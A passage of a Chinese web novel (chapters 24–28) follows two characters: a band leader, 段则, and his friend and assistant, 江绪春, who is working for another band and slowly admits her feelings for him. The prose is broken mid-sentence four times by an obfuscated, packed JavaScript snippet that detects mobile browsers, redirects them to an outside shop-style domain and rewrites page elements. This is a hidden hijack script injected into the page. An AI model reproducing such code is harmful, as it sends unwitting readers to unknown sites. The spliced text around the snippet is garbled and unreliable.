“累吗?” 闻言,段则下意识重又扭头看向她,正对上段咏竹同样看来的目光。 母子俩一撞上眼,都纷纷迅速别开。 母亲很少问他累不累,但他觉得这没什么,因为他也很少问她累不累。 以至于她难得关心一次,他险些以为自己听错了。 段则本想说“还好”,话到嘴边变成了“有点”。 意料之外的答案。 段咏竹面上现出少有的怔愣神色,对于这种对话,她显然也没有经验。 最终她选择了跳过,问他晚上想吃什么。 不必进行这种走心的交流了,段则竟松了一口气。 “随便。”他说。 晚上果然还是老几样,毕竟段咏竹会做的菜色也不多。彼此相对无言地吃完饭,便各自回房休息。 段则看了会儿手机,刷到了bluenight歌迷的即时路透,他将图片放大,在角落里看到了江绪春的身影。 这段时间,大数据给他推送bluenight的消息快比陆鲨还多了。 他只祈祷这个大数据不要入侵他的音乐软件,他不喜欢bluenight的歌。 接下来的两天差不多都是这样,彼此在同一个屋檐下,却鲜少交流,偶有对话,也都是些无关痛痒的内容。 直到最后一天,段则收拾好行李预备出发时,段咏竹忽然开口,问要不要送他去机场。 想来上一次段咏竹送他去机场,应该要追溯到大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17263811|197267||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 三时分了。 此后,他都是一个人打车去机场,或者偶尔和江绪春同行时,她爸会顺路捎上他。 段则感觉,自己这次回来,段咏竹似乎变了那么一点。 至于是哪一点,他说不上来。 段咏竹开的是辆别克君越,买了很多年,车内依然整洁如新。 和日常待人接物不一样,她开车的风格还挺激进。哪怕不赶时间,也爱压着限速开,见车就超,对于那些抢道的、加塞的,她从不退让分毫。 常有人透过玻璃发现司机是个女人,抱着侥幸心理想试试弹性,而段咏竹永远走在自己的道上,不减速不变道,对方一个疏忽,碰撞就会发生。 每次她都淡然下车,熟练地开始走流程,一年三百六十五天,这辆车起码有一个月住在4s店里。 小时候的段则坐她开的车总是很害怕,后来渐渐习惯了。 段咏竹这种开车风格,基于她良好的车技,看着危险,实则鲜少因为自己的过错出事。 但总挨别人的撞也不是个事儿,段则有时想提醒她注意安全,又知道自己说了她也不在乎,更何况母子俩并没有互相关心的习惯,他便不再多言。 早在段则没有参透这段母子相处法则前,他还是有提过一嘴的。 依然是某次有人想加塞,段咏竹没让,碰撞就这么发生了。 段则那时候还在上幼儿园,这是他第一次经历车祸,虽然他连皮外伤都没有,但心灵还是收到了不小的冲击。 “死了怎么办?”他奶声奶气地一边哭一边问。 段咏竹正忙着处理事故,忙里偷闲回他一句:“死就死了。” 这句话给他的冲击,比车祸还要大,段则刚刚只是小声掉眼泪,闻言“哇”地开始大哭。 他对死的理解还一知半解,只知道他爸死了,因此他从没有见过对方。他不希望妈妈死,也不希望自己死。 段咏竹视他的哭声为无物,继续忙活自己手头上的事。 段则知道哭泣很丢脸,自己不能哭,可他真的害怕,他才六岁,没有办法很完美地控制自己。 最后还是对方司机看不下去,躬身来哄他,没说两句,段咏竹眉头一皱,伸手把段则拉到了身后。 这是她自己的孩子,段咏竹不需要任何人插手。 陌生的司机是这样,这些年交往过的男友也是这样。 段则看着那一个个出现又消失在家中的男人,段咏竹只让他和人打声招呼,便勒令他回房,从不让他们多说一句话。 长大后,段则觉得这样也好,成年人很容易斩断一段感情,小孩子很难,不如从一开始就不要建立。 这次也一样,导航里预计一小时的车程,段咏竹提前一刻钟给他送到了。 出发口处,其余送行的人都在大声告别,约定下次再见,唯有这里安静得像是出租车司机与乘客。 段则拿出行李箱,预备关后备箱时迟疑了一下。 一旁的段咏竹抬手帮他关上,有句“注意身体”混杂在这“哐啷”一声中。 段则“嗯”了一声,想要回些什么时,段咏竹已经回到车里,一脚油门开远了。 前方一个弯道,那辆君越很快彻底消失在视野中。 段则看着尚未平息的气流,很轻地笑了一下。 他想他和母亲,可能永远也无法像江绪春和她父母那般融洽。 但至少,那个在心头横亘数年的谜题,终于被解开了。 25. 第 25 章 江绪春在bluenight的最后一周,lily好像提前开始了分离焦虑。 工作时lily一直是个小跟屁虫,不工作时也总是喜欢粘着她,天气好就邀她逛公园吃甜品,天气不好也要去她的酒店房间坐坐。 “你不会一走就把我拉黑吧?”距离告别还有两天,lily坐在她房间沙发上,瘪着个嘴巴,看着都快哭了。 “说什么呢。”江绪春笑着用抱枕轻拍了她一下,“不一起工作了,我们也还是朋友啊。” 小姑娘眼睛一下子亮了:“绪春姐,我是你的朋友吗?” 江绪春郑重其事地点了点头。 “你知道吗,我真的好舍不得你,因为你对我太好了……” Lily絮絮叨叨地开始讲述,说她当初兼丨职给bluenight当助理时,遇到多少不讲理的人,她好多事都不明白,她姐也没时间教她,全靠她一个人摸索…… 江绪春认真聆听着。 说到底,她只是个大学刚毕业的姑娘,这一行多是浮头滑脑的老油条,刚入行的新人不知得吃多少苦。 自己算是幸运的那个,在未能独当一面的时候,可以在段则背后躲一躲。 只是也不知道同她一般大的段则,当初是怎么在前面顶住重重压力的。 Lily说着说着给自己说饿了,两人下到酒店餐厅吃了顿晚餐,吃到最后,小姑娘又开始神伤上了:“过两天你就要回陆鲨了吗?” “是啊。” “我听向镭姐说,陆鲨不是放假到下个月底吗,你就再带我一个月嘛。” 小姑娘哼哼唧唧地向她撒娇,江绪春说不出拒绝,但也无法答应,只能无奈微笑着。 成年人都懂微笑背后的拒绝,lily没多纠缠,两人就此在餐厅告别。 乘电梯回房的路上,江绪春还在回想刚刚的对话,再带一个月bluenight不太现实,但她确实得想一想自己下一步的方向。 在深圳的这一个月,她还是挺喜欢这座城市的,经济发达,交通便捷,环境优美。 非说有什么不习惯,大概还是这里的气候,亚热带加上沿海,连她这个南方人都有点难招架。 大学四年,再加上工作的这六年,相较于南方,她好像反而更适应北方的气候。 也许北京是个好选择。泓州离北京很近,两人大学闲着无聊时,常常一张高铁票就坐到北京,这里吃吃那里逛逛,因为住不起酒店,又得连夜赶回各自学校。 那时候江绪春并不觉得苦,又或者和段则在一起时,她从来没觉得苦。 北京一日穷游不觉得苦,坐在出租屋里为明天发愁时好像也不觉得苦,住不好吃不好都没什么,只要有彼此在身边,那就万事都好。 她好像突然理解lily了。 和陆鲨解约的倒数一个月,她隐隐也产生了分离焦虑。 电梯门开,江绪春不用看指示牌,闭着眼睛都能摸回房间。 没了小姑娘的叽叽喳喳,偌大的套房里冷清得厉害。 她拿出手机,点进和段则的对话框,聊天记录停留在三天前,她问他回去感觉怎么样,他说挺好的。 那时候她忙,也没细问,时隔这么久再追问,似乎太奇怪。 关于这件事的热度,在网上渐渐淡去了,只不时还会有人追到陆鲨或者段则的账号下骂几句。 摇滚婆罗门们最爱嘲他的其中一点,就是说他不是玩儿摇滚的,而是个流量混子。但在这种时刻,看着歌迷们顶上前排的暖心言语,江绪春觉得,当个流量也挺好。 手机铃忽而响起,来自向镭。 “喂,镭姐。” “你这段时间吗?” 江绪春想了想:“应该不忙。” “还是关于bluenight的,我这边有个资源,对方还是很有合作意向的,但我实在没什么时间,你能帮着跟进一下吗?” “好。” 关于谈合作,江绪春在陆鲨这些年还是挺有经验的。 更重要的是,她必须确切地抓住一些工作,才能心安理得地暂时不去想那渺茫的未来。 [江绪春:告诉你一个好消息。] 她第一时间给lily发了消息。 [江绪春:我还得再带bluenight一段时间。] [lily:万岁!!!] [lily:绪春姐你要不就别走了吧!] 后面跟了个小狗撒娇的表情。 江绪春没说话,只回了个摸摸小狗脑袋的表情。 合作方在广州,江绪春专程跑了一趟,她盘起长发,穿着剪裁得体的长裙,略施淡妆,一副游刃有余的模样。 彼此自报家门时,江绪春微笑着眨了眨眼:“我是bluenight的执行经纪。” 不知是为了降本增效,还是乐队这种小艺人确实不怎么受待见,鹏艺旗下的乐队基本都没有安排执行经纪,这个岗位的活全被经纪人和助理瓜分了。 像陆鲨这种助理比较专业的,那经纪人能轻松点,像bluenight这种新人,经纪人要做的就多了,也难怪向镭每天忙到脚不沾地。 反正她活都干了,对外报个title给自己稍微抬点咖,也算是为了促成合作,情有可原吧? 江绪春这么想着,咽了下口水,和对方相对而坐。 从前她都是帮陆鲨谈合作,聊起陆鲨来可谓是如数家珍。 她来bluenight虽然只有一月,不过她的性子向来是要做就要做到最好。为此,她早在来深圳前,就连夜做了不少功课,为了这次合作洽谈,更是好好准备了一番。 一切比想象中顺利很多,最后两人互换了联系方式,对方特地叫了辆商务车把她送回高铁站。 回去的路上江绪春意识到,这是她第一次不依靠段则也不依靠向镭,谈了一桩合作。 虽然用的是向镭手上的资源,不过,江绪春翻了翻通讯录,入行这些年,她也积攒了不少人脉。 只是,既然她都准备转行了,这些还有什么意义呢? 江绪春按灭手机,看向窗外不断后退的风景。 两边的公司流程走得很快,不到一周,江绪春往bluenight群里扔了条通告。 [江绪春:给你们找了个新活,准备忙起来吧。] 下面回复一溜的“万岁”,bluenight里都是一群年轻的小姑娘小伙子,最大的也比她小上三岁,天天捧得她和皇帝似的。 按照约定,江绪春是时候停止这份临时工作了。 昨天向镭还给她打了通电话,感谢她这一个月来的付出,让她可以休息了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17273802|197267||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我想把这个通告带完。”江绪春说。 毕竟是她自己谈成的,对她多少有些意义,好在日期就在一个月后,算不上太久。 “你这个加班可没有加班费哦。”向镭逗她。 “没关系的,我自愿。” “开个玩笑,我回头向公司申请一下,那就麻烦你了。” “好,辛苦镭姐。” 虽然是过来工作的,但和bluenight在一起的日子,江绪春总是感觉很惬意。 这让她想起了当初和陆鲨一起打拼的日子,前途虽然未知,可正因为这份未知,才有无限可能。大家每天都心怀憧憬,冲劲满满,也有垂头丧气的时候,但睡一觉又重新亢奋起来。 明明大家是为了同一目标而出发的,但真的征服了一个个山峰后,却渐渐难再齐心。 显著表现大概是,大家的私下聚餐少了,休息时分也很少约着对方游玩。 段则之前也有说过,他们之间除了音乐,好像共同话题越来越少了。 “往好处想,起码我们还是彼此一起玩音乐的不二人选,不是吗?”他看向她,笑了一下。 而江绪春不知该说什么,她不太好评判别人的友情,或者说……同事情。 好在bluenight还尚未到达这个阶段,一群人巴不得每天二十四小时都粘在一起。工作完了要吃庆功宴,没有工作也得聚餐,庆祝bluenight还没解散。手里没多少钱,苍蝇馆子和路边摊也聚得津津有味。 江绪春确实没精力陪他们天天玩,但总是拒绝也不太合适,于是这晚,她还是答应和他们一起来吃牛杂煲。 到底进了十二月,入夜的深圳带着寒意,一行人围坐着吃上一锅热气腾腾的牛杂煲,好不惬意。 吃到一半,桌边忽然来了两个小姑娘,双手抓着手机,笑得一脸腼腆。 “怎么了?”队长率先问道。 “请问你们是bluenight吗,可以和你们合张影吗?”其中一个小姑娘怯生生地问道。 “当然。”鼓手一口应承。 得到允许,小姑娘果断举起手机。 江绪春本来想让开,可lily一把揽住她,毛茸茸的脑袋靠在她颈窝,她无奈,只能也对着镜头比了个“耶”。 “第多少次了来着?”两个小姑娘一走,吉他手问道。 “第二十七次!”鼓手故意“啧”了一声,“这你都记不住?” “去你的。”吉他手笑着白他一眼。 “什么意思?”江绪春颇为茫然。 “他们在计数呢,数他们私下被歌迷认出多少次。”lily解释道。 “对,达到一百次之后,我们就要开始‘耍大牌’,以后开包厢吃饭了。”鼓手接着道。 “还早着呢。”队长笑着一摆手,“先努力赚钱吧,别以后连个包厢都开不起。” 江绪春笑着看他们说说闹闹,红扑扑的面颊不知是托啤酒所赐,还是被热气熏红的,连带着神志都有些飘飘然。 聚餐进入尾声,鼓手和贝斯手在扫尾,江绪春单手托腮,百无聊赖地看了会儿手机。 除了一堆无关痛痒的群通知,还有一条来自段则,发自五分钟前,没有错过太久。 就是这内容,让她的头脑清醒了一瞬。 [段则:我想你了。] 26. 第 26 章 段则并不是第一次对她说这种话,莫不如说这种情况还挺常见。 比如有时候江绪春临时去别的地方忙工作,段则演出完毕回后台没见到她,就会给她发一句“我想你了”,附赠一个小狗缩在墙角落泪的表情。 这是出于对工作伙伴的依赖。 又比如过年时分。江绪春家的亲戚多,每天给谁拜年都安排得明明白白的。而段则只有段咏竹这一边的亲戚,假期大部分时间,他都和他妈各自待在房间房门紧锁。 这种时候,他就会给江绪春打一通电话,生无可恋地说想她了。 江绪春一边陪小孩玩,一边还要哄电话那头比小孩更会撒娇的成年人:“那怎么办,你也来我二姑家坐一坐?” “……算了。” 这是出于对朋友的依赖。 但这次,这句话后面没有跟着任何可爱的表情,她也听不到他的语气,就让她一时拿不准当下的情况。 江绪春混沌的头脑还没想明白,那头又冒出一句话。 [段则:你在干什么呢?] 江绪春看了眼周围相谈甚欢的bluenight,心虚地一缩脖子。 早在一周前她就该结束bluenight的工作了,偏偏向镭临时给了她一个任务,她又自愿延长了工作,一直到现在。 实话实说显然不太合适。 毕竟名义上她还是陆鲨的助理,不想着给陆鲨谈合作,一心为bluenight着想算什么。 [江绪春:我找了份新工作,刚下班。] [江绪春:要不我下个月去找你一趟吧?] 那时候刚好这边的工作也结束了。 [段则:好,到时候我帮你办离职手续。] 江绪春一惊,自己这会儿还没离职,新公司是怎么办的入职手续。 不过也许,试用期可能查得没那么严格吧? 太久没换工作的江绪春胡乱猜测着。 既然段则那头看着没有怀疑,她便决定不再去欲盖弥彰地解释。 [江绪春:好,晚安,早点睡。] [段则:晚安。] 发完这条消息,段则将屏幕上滑,删了通讯app的后台。 上一个使用的app随即出现在屏幕上,仍停留在他最后浏览的那条帖子。 那是张十分欢乐的合照,一行人对着镜头比耶,中间的牛杂煲热气腾腾。 江绪春就坐在角落里,她笑得有些不自然,但还是对着镜头竖起两根手指。 段则面无表情地也删了这个app的后台。 到后面,他完全是机械动作着,把所有在后台运行的app都删了。 删无可删,他随手将手机丢到一边,起身往工作室走。 从客厅经过时,小狗拖着一条瘸腿,跌跌撞撞来到他脚边,冲他“喵喵”叫了两声。 “怎么了?” 小狗当然不会说人话,见他情绪不高,便又“喵喵”两声,转头高傲地离开了。 而某只小鸭虽然会说人话,但好像也只爱对他说一些谎话。 工作室厚厚的吸音棉吸收了内部的音乐,也阻隔了外部的噪声。 段则坐在这无比安静的环境里,被乐器包围着,却没什么摆弄的心情。 他扭头看了眼电脑屏幕,上面是他写了一半的歌。 那是他承诺某人放在十周年专辑里的。 陆鲨还会有十周年吗? 有必要有吗? 当初他纯粹是出于对音乐的热爱,才组建了这支乐队,但后来全被他毁了。 三年前,键盘手的父亲生病,他急需用钱。 段则二话不说把钱借给了他,但这个病是个无底洞,后续他仍需要源源不断的钱。 在这之前,有很多经纪公司联系过段则,他都拒绝了,玩儿摇滚的嘛,谁不追求自由? 可人不能永远活在音乐和梦想里。 恰在此时,鹏艺联系了他,给出了看似非常美好的发展规划。 毫无疑问,如果需要快些赚更多的钱,光靠个人资源是不够的。 他拉来一行人开了个会,大家很快同意了。可能是他早年间太独丨裁,大家逐渐形成了惯性,有事儿他拍板,众人照做就行。反正从结果来看都还不赖,因此彼此之间也没什么大矛盾。 鹏艺很快遵守承诺,把这支原本只在圈内小有名气的乐队,捧红到几乎人尽皆知—— 至于得知的是美名还是非议,那不重要。 某次回公司时,段则偶然听见有领导在讨论,说对陆鲨的炒作是他们的一次实验,很显然实验成功了,以后他们会考虑在更多艺人身上如法炮制。 原来他悉心经营这么多年的乐队,不过是大公司手里的一枚实验品。 但无论如何,钱他们拿到了。 他们买了房车,开了体育馆巡演,一切都在向上走。 哪怕大家目前提起陆鲨,不是说他们的歌多好听,而是这就是个花瓶乐队—— 这重要吗? 什么初心、梦想,哪有钱和名声重要。 至于现在,成员们埋怨他给乐队带来太多负面评价,连他最好的朋友、最好的助理,也选择离开陆鲨,去到别的乐队。 这一切都是他自找的,怪不了他人。 段则抬手,叉掉了那个页面。 软件询问他是否保存时,他选择了“否”。 - 吃完牛杂煲的第二天,江绪春陪着bluenight去了趟清吧. 这不是什么商业演出,性质和陆鲨之前在泓州开的回馈演出有点像。这间清吧也在乐队成员的大学边,主唱大学时常在这里兼丨职驻唱。 清吧前段时间翻新,老板询问主唱能不能回来唱一晚,念及当年的情分,她主动表示可以“拖家带口”回来免费演出。 一到这里,大家和回了家似的,互相寒暄个不停。 江绪春在此也不是来工作的,而是和其他观众一样,一起浸入这个bluenight。 虽然接手bluenight一月有余,但这还是江绪春第一次全身心投入地听他们演奏。 为了呼应队名,不同时期,队伍里总有一个人会染蓝发。最近染发的是主唱,一头蓝色微卷的短发,让她想起了《阿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17282734|197267||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 黛尔的生活》里的emma。 一首歌奏毕,台下不少姑娘尖叫着呼喊她的名字,还有人想要冲上前,被保安及时拦下。 和之前的演出场地相比,这里的乐队离观众确实太近了。江绪春职业病犯了,警惕地观察着四周,担忧会出什么演出事故。 毕竟bluenight今时不同往昔,在鹏艺的运作下,也算是新晋小有名气的乐队了。 “没事,我姐更疯狂的也遇过。”像是看出她的担忧,坐在一旁的lily凑近她耳畔道,“之前还有姑娘突然把自己的内衣扔上台,也有跟踪到她家送情书的,我姐回家门一开,发现玄关地上躺着一封信,差点没给她吓死。” 闻言,江绪春不由得倒吸一口凉气。 类似的经历,陆鲨自然只多不少。 摇滚是造梦的场域,台上台下一同进入这个美好梦境。人在梦里总会产生一些脱离现实的想法,一旦难以抽离,就会移情到台上那些真实存在的人,甚至诞生了groupie这种专属词汇。 对这些人,段则的态度毫无疑问都是拒绝。大概是从小就备受瞩目的原因,他还挺擅长拒绝姑娘,一套推拉下来,不动声色地就拒人千里。 当然,这种委婉只针对那些真心想和他开展一段关系的姑娘。对于那些目的明确的,他的拒绝也很果断直接,甚至因为有些伤人,在圈内被“脱粉回踩”过不少次。 他拒绝,不代表他的队友会拒绝。 以至于不止一次出现过这种情况,进行到一半,姑娘会要挟对方给出段则的联系方式。 还真有精丨虫上脑给了的,被段则破口大骂了一通,最后那人被踢出了乐队。 好在陆鲨小有名气后,就没再出现这种情况。 管不住自己身体的当然有,但段则的联系方式还是管得住的。一时的欲丨望和看起来欣欣向荣的前途,有点脑子的人都算得明白。 毕竟这事儿算是你情我愿,两方都觉得自己占了便宜,段则是他们的队长又不是他们的爹,只要不违法乱纪或者影响乐队,除了提醒,他也做不了太多。 他唯一不爽的是那些姑娘们有时会私下交流,在陆鲨集邮了几个,以及什么时候能睡到段则。 “合着她们嘴上说喜欢我的歌,其实就是想睡我。”某次又刷到相关帖子后,段则道。 “我想应该是先喜欢你做的音乐,然后渐渐喜欢上你这个人,再到……”江绪春有点说不出口。 “没劲。”段则烦躁地将手机丢到一边,顺手捞起无辜经过的小狗,狠揉它的猫头。 彼时是去年夏天,段则穿着成套的家居服,懒散地倚靠在沙发上。 衬衫上衣的v字领口本就开得很低,他抬手逮小狗时,还无意崩开一颗。从江绪春的角度,能清晰看见他胸膛的曲线,室内空调似乎调太低,他的皮肤在细密地颤抖着。 小狗原本只是路过,它有正事要忙,结果半路被拦住,想跑又跑不了,急得叫个不停。 那焦躁的哼唧声,让她想起了小区流浪猫叫春的声音。 江绪春沉默地别开眼。 如果说,我也想睡你呢? 27. 第 27 章 江绪春并不确定自己这种荒唐的想法到底缘何而起。 或许是那次该死的富国岛之行,又或者是更久之前,每一次错频的心跳,微屏的呼吸,以及听见歌迷大声向他表白时,忍不住别开的眼。 但她可以确定的是,她不会放任这种感情继续下去。 江绪春的情窦初开,应该要追溯到初二。 当时的同桌是个龟毛的学霸男,有着严重的洁癖,并且自视甚高——虽然因为成绩好还有钱,确实有那么一点骄傲的资本。 两人刚成为同桌时,同桌总是嫌弃她,什么成绩不如他啊,起身时凳子声音太大啊,喝水时不小心溅了一滴水珠到他桌上啊,不一而足。 江绪春从小就不是什么逆来顺受的性子,因而和他天天吵得不可开交,偶尔也会打架,比如互相肘击、踩脚、掐大腿—— 想当年她小学毕业时,一度以为自己上了初中后,就不会做这么幼稚的事了呢! 就这么互相吵着打着,直到某一天开始,男生会主动给她讲题了,去小卖部买水时,也会非常“顺手”地给她带一瓶。 而江绪春也发现,自己每次和他吵架打架时,好像没有那么生气了,甚至有一点开心。最离谱的是,还会因为可以看见他,都对上学有所期待了。 在彼此捅破这层窗户纸前,暑假到了。 新学期伊始,老师给班里的座位来了个大调整。别人是距离产生美,而当她远离那个男生后,突然意识到,哇,这个人的性格真的超讨厌,自己上学期是被鬼遮眼了吗? 这朵初开的情花,还没绽放便就此夭折。 再到后来,她还对很多男生心动过,包括高二时的那个小混混。 但她好像总是欠缺一点勇气,又或者她的喜欢程度不足以将这份情愫诉之于口,因而结果都是错过。 至于为什么明明身边就有段则这么一个大帅哥,她却过了这么多年才对他有所想法。 大概是因为两人认识得太早了,很长一段时间他在她印象里,就是一个会哇哇哭的漂亮娃娃。再大一点,就是一个可以玩闹互损的无性别朋友—— 两人实在太熟了,熟到她都意识不到,段则和自己其实不是一个性别。 为什么事情不能一直这样下去呢?江绪春想不明白。 为什么段则突然变成了一个男人,为什么她看向他的眼神逐渐闪躲,为什么她对他开始产生了欲丨望。 一定是段则的错,怪他把她的员工宿舍就安排在他隔壁,让她逐渐分不清工作和生活,竟然真的想和他有一个家。 但她清楚地知道,他们之间没有可能。 第无数次看他拒绝了姑娘的告白后,江绪春曾经问他,为什么不谈恋爱。 “你的眼光得高成什么样啊。”那时她感慨,“那么漂亮的你都不喜欢吗?” “我拒绝她和她的长相没关系。”段则笑着揪她的脸,“我又不是你,那么颜控,看谁好看就喜欢谁。” 彼时还在本科时分,江绪春刚刚因为看了校篮球赛后,狠狠对其中一个男生心动了,哪怕她都不知道对方打的是前锋还是中锋。 江绪春被揪得嗷嗷叫,狠狠拍开他的手:“那到底什么样的人才能入你的眼?” 段则沉默了一会儿:“和人无关,我只是不喜欢这种短暂的关系。” 对于段则来说,爱情是短暂的。 他看着那些男人从段咏竹的生活里来来去去,逐渐明白这种关系的脆弱。 偏偏他在人际交往方面,是个追求稳定长久的人。 如果难以天长地久,不如就不要开始。 江绪春深谙这一点。 所以在那次富国岛之行后,她决心要将自己这种疯狂的想法按捺下去,比起不够稳定的爱情,她更想和他做一辈子的朋友。 可是,心动从来不是一件能控制的事儿。 她还是他的好朋友、好助理,却开始会在每一次肢体接触时,一边抗拒,一边享受。也会在听到那些歌迷向他大声表白时,横生出一种不该有的占有欲。 她不知道该怎么和段则相处了,她已经彻底混乱了。 这种混乱累积到一定程度后,江绪春产生了一种冲动—— 去他的吧,我不要和你当朋友了,我要亲你,我要睡你,我要告诉你我有多喜欢你。 就在一切蓄势待发之际,巡演的通知下来了。 理智让她按下那些心思,全身心投入到工作中,她知道这场巡演对陆鲨来说有多重要,她不希望出一点纰漏。 其实一开始,大家都不确定陆鲨是否开得起这个体育馆。 首场开票日,两人刚好在家休息,段则手里陪小狗玩,目光却时不时瞥一眼墙上的挂钟。 江绪春倒是一早点开了购票软件,倒计时一结束,便开始不断刷新。 一分半后,她将手机屏亮给他看:“售罄了。” 比起那些开票几秒就完售的演唱会,这当然算不上什么好成绩。但事实上,他们一开始的想法是,能卖掉三分之二就算成功。 而现在,好像有点太成功了。 段则盯着她的手机屏看了许久,长长叹出一口气,没说话,默默移开了目光。 他就这样静坐在沙发上,一动也不动,小狗“喵喵”叫了几下见他都没反应,气得直接跳下沙发回屋。 江绪春也很感慨,她第一次有了一种,啊,我的朋友好像真的成了大明星的感觉。 就是这个大明星,怎么眼睛红通通的。 江绪春没有戳穿他,她走到小狗房间陪它玩,留他独自消化情绪。 很辛苦吧,这些年。 每一首饱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17286763|197267||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 含心血的歌,每一个为未来辗转难眠的夜,还有曾经空空的观众席,无数个被拒绝的合作,痛到痉挛的胃,两度的成员变动…… 谢谢你都坚持过来了。 你的努力没有被辜负,你值得这最好的一切。 此后的一切都很顺利,也很辛苦。 江绪春陪他跨越大江南北,从一开始的手忙脚乱,到最后已然驾轻就熟。 原来有这么多人喜欢他,为他呐喊。 真好啊。 只是偶尔、偶尔。 她会有一刻晃神。 巡演在国内兜兜转转一圈,又回到了泓州。 江绪春累到在休息室睡着了,她做了个梦,又或者那不是梦,只是记忆的重现。 睁开双眼,那个昔日在小小的livehouse里,为不到五十人歌唱的少年,此刻在聚光灯的照射下,面对的是近万名观众。 有那么一刻,江绪春很自私地希望他不要出名就好了。 希望他还需要依靠她一个个招揽观众,会在失败后红着眼睛抱住她,说谢谢你还在我身边。 又或者,只比当初多一点名气就好,不必为温饱发愁。 而不像现在,他太出名了,以至于也离自己越来越远。 观众在一遍遍喊着安可,段则紧急在台后补水换装,都来不及回休息室一趟。 舞台上的灯光骤熄,台下爆发出震天的尖叫,伴随着一声重鼓,灯光随之亮起,安可开始。 在场内声音的衬托下,休息室未免过分安静。 江绪春蜷缩在沙发上,定定地望着监视器,心头弥散开一种绝望的情绪。 就算她破釜沉舟地说出口,也不会有结果吧。 他太优秀了,喜欢他的人也是那么优秀。 她们有的是那么聪明,有的是那么漂亮,她们不少也玩儿音乐,甚至有着自己的乐队,她们和他有如此多的共同语言,不像她,到现在连摇滚有哪几类都说不出。 那就算了吧,她不要自取其辱了。 她受够了。 为什么她永远要围着他转,从毕业后就陪着他鞍前马后,放弃了她或许也并不存在的梦想,一心陪他逐梦。 如果工作只为了赚钱,没有他也有别的老板,那凭什么他现在还要左右她的感情。 因他开心因他难过,在他站在三面台上享受众人欢呼的时候,她却要在这小小的休息室内,悲伤地把自己贬低到一无是处。 他凭什么、凭什么、凭什么! 凭什么霸道地占据了她工作生活的方方面面。 “准备准备。”向镭提醒她,“安可快结束了。” “哦。”江绪春吸了吸鼻子,回过神来,换作最完美的工作状态。 她确实准备好了。 准备就此打倒他的霸权。 28. 第 28 章 江绪春给bluenight谈的那个合作,是某游戏二十周年线下活动的演出。 该游戏背靠大厂,一推出便十分火爆,前几年新出了手游版,至今仍位于排行榜前列,国民度和营收能力都不俗。 该活动会在线上同步直播,能参与这场演出,对提升bluenight的知名度很有好处。 这其实算是鹏艺的一个长期资源,两家一直有着深厚的合作,游戏的pc版和手游版代言人都是鹏艺旗下艺人。 但演出嘉宾为什么选bluenight,而不是鹏艺其他艺人,这就是江绪春需要去努力的事了。 活动敲定后的某天,和向镭闲聊时,江绪春才发现自己好像做成了一件很了不起的事。 这当然是块好饼,但向镭没指望bluenight这种新人能接住,琐事缠身的她权衡一番利弊后,便不抱希望地把它丢给了江绪春。 主办方同时在和好几个鹏艺的艺人团队接洽,因而,这更像是鹏艺的内部斗争——虽同在一个公司,却暗中划分了不少派系。 之中的弯弯绕绕江绪春不甚清楚,只知道主办方三个月前就开始预热该活动,但直到一个月前,才以“惊喜嘉宾”的身份公开确定了bluenight的出演。 江绪春反复回想着那次的线下洽谈,以及后续的几次线上交流。 她不确定自己打动对方的是哪一点,但确定的是,她好像比自己想象中的,要更有能力一点。 活动在上海举办,彩排当天,江绪春陪着bluenight飞抵现场。 鼓手显得特别兴奋,他是这个游戏的忠实玩家,不知多少次被歌迷拍到捧着手机打游戏。 “策划会出现吗,我能见他一面吗,新角色设计得太bug了……”还在车上,鼓手便兴奋道。 队长二话不说,抄起手边的抽纸往他脑袋敲去,给他敲噤声了。 前期准备足够完善,现场几乎没什么江绪春需要操心的地方,bluenight彩排的时间还没到,她正准备回休息室坐会儿,迎面碰上了眠艇。 眠艇也是这次的演出嘉宾之一,两人因为段则的关系见过几次面,算不上熟悉,但见面怎么也得打声招呼。 “绪春。”眠艇笑着道,“你怎么在这儿,陆鲨也来演出吗?” 江绪春眼神闪躲着,忙道:“没有。刚好我朋友在这里工作,我就来玩一玩。” 